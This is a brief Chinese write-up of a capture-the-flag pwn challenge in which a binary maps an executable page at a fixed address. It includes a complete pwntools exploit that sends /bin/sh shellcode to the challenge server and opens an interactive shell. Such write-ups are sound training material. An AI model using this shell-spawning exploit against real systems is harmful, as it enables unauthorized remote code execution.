NSSCTF Pwn [SWPUCTF 2022 新生赛]shellcode？题解
下载 exeinfo checksec
开启了NX PIE 64位
查看main函数：
发现有个mmap函数 查一下：
在固定地址 0x30303000 处创建 4KB 的匿名内存映射，具有可读、写、执行权限
所以将shellcode直接写到上面就能执行
exp：
from pwn import *
context (os='linux', arch='amd64', log_level='debug')
#这行一定要加
p = remote("node5.anna.nssctf.cn", 25971)
shellcode = asm(shellcraft.sh())
p.send(shellcode)
p.interactive()
运行 得到flag：
